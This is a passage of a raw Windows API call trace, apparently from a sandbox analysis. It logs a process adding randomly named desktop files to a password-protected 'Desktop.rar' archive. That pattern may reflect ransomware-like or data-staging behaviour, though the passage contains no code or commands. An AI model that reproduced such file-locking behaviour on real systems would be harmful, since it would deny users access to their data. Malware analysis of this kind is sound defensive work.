lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x6760, lpOverlapped=0x0) returned 1 [0067.333] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.333] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.334] SetFilePointer (in: hFile=0x32c, lDistanceToMove=829656, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xca8d8 [0067.334] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0xca8d8 [0067.334] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.334] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.334] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a6577d0 [0067.334] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.334] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.334] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656c90 [0067.334] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.334] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.334] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.334] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0067.334] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef700 | out: hHeap=0x1ec0a590000) returned 1 [0067.334] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef8b0 | out: hHeap=0x1ec0a590000) returned 1 [0067.334] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a657230 [0067.334] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657230, Size=0x7a) returned 0x1ec0a64aa90 [0067.334] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64aa93*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64aa93*, lpNumberOfBytesWritten=0xe414d8140*=0x5f, lpOverlapped=0x0) returned 1 [0067.334] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.334] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x5f) returned 0x1ec0a5c4e90 [0067.334] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0067.334] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa90 | out: hHeap=0x1ec0a590000) returned 1 [0067.334] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xd1097 [0067.334] CloseHandle (hObject=0x350) returned 1 [0067.334] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.334] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.334] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.334] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.334] FindFirstFileW (in: lpFileName="hqk1KnpsNtd.mkv", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.335] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.335] CreateFileW (lpFileName="hqk1KnpsNtd.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\hqk1knpsntd.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.335] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.335] GetTickCount () returned 0x26ba1 [0067.335] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.335] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.335] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.335] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.335] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="hh4lRnb.ods") returned 11 [0067.335] SetWindowTextW (hWnd=0x1028c, lpString="hqk1KnpsNtd.mkv") returned 1 [0067.336] GetTickCount () returned 0x26ba1 [0067.336] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.336] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.336] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.336] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.336] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x333)) [0067.336] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.336] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15866460081) returned 1 [0067.336] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x192f, lpOverlapped=0x0) returned 1 [0067.336] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90696f, nNumberOfBytesToRead=0xfe6d1, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90696f*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.336] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef610 [0067.336] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.336] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a6574b0 [0067.336] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.336] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.336] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6577d0 [0067.336] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.336] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6574b0 | out: hHeap=0x1ec0a590000) returned 1 [0067.336] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.336] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.336] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0067.336] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.336] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef610, Size=0x48) returned 0x1ec0a656a60 [0067.336] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656a60, Size=0x7a) returned 0x1ec0a64a610 [0067.336] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.337] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0067.337] GetTickCount () returned 0x26ba1 [0067.337] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15866580216) returned 1 [0067.337] GetTickCount () returned 0x26ba1 [0067.337] GetTickCount () returned 0x26ba1 [0067.337] GetTickCount () returned 0x26ba1 [0067.337] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.337] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.337] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.337] ResetEvent (hEvent=0x344) returned 1 [0067.337] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.338] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.338] ResetEvent (hEvent=0x344) returned 1 [0067.338] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.339] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.339] GetTickCount () returned 0x26bb0 [0067.339] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15866782793) returned 1 [0067.339] GetTickCount () returned 0x26bb0 [0067.339] GetTickCount () returned 0x26bb0 [0067.339] GetTickCount () returned 0x26bb0 [0067.339] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.339] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.339] GetFocus () returned 0x102a8 [0067.339] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.340] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.340] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.340] GetFocus () returned 0x102a8 [0067.340] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.340] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.340] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.341] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.341] GetFocus () returned 0x102a8 [0067.341] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.341] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.341] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0xd1097 [0067.341] SetFilePointer (in: hFile=0x32c, lDistanceToMove=97, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0xd10f8 [0067.341] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.341] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.341] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.341] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.341] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x1960, lpOverlapped=0x0) returned 1 [0067.341] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.341] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.341] GetFocus () returned 0x102a8 [0067.342] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.342] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.342] SetFilePointer (in: hFile=0x32c, lDistanceToMove=856215, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xd1097 [0067.342] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0xd1097 [0067.343] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.343] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0067.343] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd60, Size=0x48) returned 0x1ec0a656fb0 [0067.343] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.343] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.343] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a6569c0 [0067.343] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.343] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0067.343] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0067.343] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefcd0 | out: hHeap=0x1ec0a590000) returned 1 [0067.343] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefbb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.343] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a656c90 [0067.343] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656c90, Size=0x7a) returned 0x1ec0a64aa00 [0067.343] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64aa03*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64aa03*, lpNumberOfBytesWritten=0xe414d8140*=0x61, lpOverlapped=0x0) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0067.343] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x61) returned 0x1ec0a5c0520 [0067.343] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.343] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa00 | out: hHeap=0x1ec0a590000) returned 1 [0067.343] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xd2a58 [0067.343] CloseHandle (hObject=0x350) returned 1 [0067.343] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.343] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.343] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.343] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.343] FindFirstFileW (in: lpFileName="Hx3Tlhe_5jId0OJhP6.pptx", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de094d0 [0067.343] FindClose (in: hFindFile=0x1ec0de094d0 | out: hFindFile=0x1ec0de094d0) returned 1 [0067.344] CreateFileW (lpFileName="Hx3Tlhe_5jId0OJhP6.pptx" (normalized: "c:\\users\\fd1hvy\\desktop\\hx3tlhe_5jid0ojhp6.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.344] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.344] GetTickCount () returned 0x26bb0 [0067.344] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.344] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.344] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.344] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.344] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="hqk1KnpsNtd.mkv") returned 15 [0067.344] SetWindowTextW (hWnd=0x1028c, lpString="Hx3Tlhe_5jId0OJhP6.pptx") returned 1 [0067.344] GetTickCount () returned 0x26bb0 [0067.344] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.344] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.345] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.345] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.345] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x343)) [0067.345] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.345] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15867349379) returned 1 [0067.345] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x289b, lpOverlapped=0x0) returned 1 [0067.345] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d9078db, nNumberOfBytesToRead=0xfd765, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d9078db*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.345] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.345] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656c90 [0067.345] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.345] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.345] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6577d0 [0067.345] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.345] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.345] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.345] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0067.345] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd30 | out: hHeap=0x1ec0a590000) returned 1 [0067.345] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a6569c0 [0067.345] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a64abb0 [0067.345] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.345] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64abb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.346] GetTickCount () returned 0x26bb0 [0067.346] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15867425778) returned 1 [0067.346] GetTickCount () returned 0x26bb0 [0067.346] GetTickCount () returned 0x26bb0 [0067.346] GetTickCount () returned 0x26bb0 [0067.346] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.346] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.346] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.346] ResetEvent (hEvent=0x344) returned 1 [0067.346] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.402] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.402] ResetEvent (hEvent=0x344) returned 1 [0067.402] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.403] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.403] GetTickCount () returned 0x26bef [0067.403] GetLastError () returned 0x0 [0067.403] SetLastError (dwErrCode=0x0) [0067.403] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0067.403] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0067.403] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.403] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0067.404] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15873254395) returned 1 [0067.404] GetTickCount () returned 0x26bef [0067.404] GetTickCount () returned 0x26bef [0067.404] GetTickCount () returned 0x26bef [0067.404] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd138 | out: ppv=0xe414dd138*=0x1ec0bfefd30) returned 0x0 [0067.404] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfefd30, hwnd=0x10284, tbpFlags=2) returned 0x0 [0067.405] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfefd30, hwnd=0x10284, ullCompleted=0xd527f, ullTotal=0x4f8c9e) returned 0x0 [0067.405] TaskbarList:IUnknown:Release (This=0x1ec0bfefd30) returned 0x0 [0067.405] GetLastError () returned 0x36b7 [0067.405] SetLastError (dwErrCode=0x36b7) [0067.405] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0067.405] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0067.405] GetWindowTextW (in: hWnd=0x102a4, 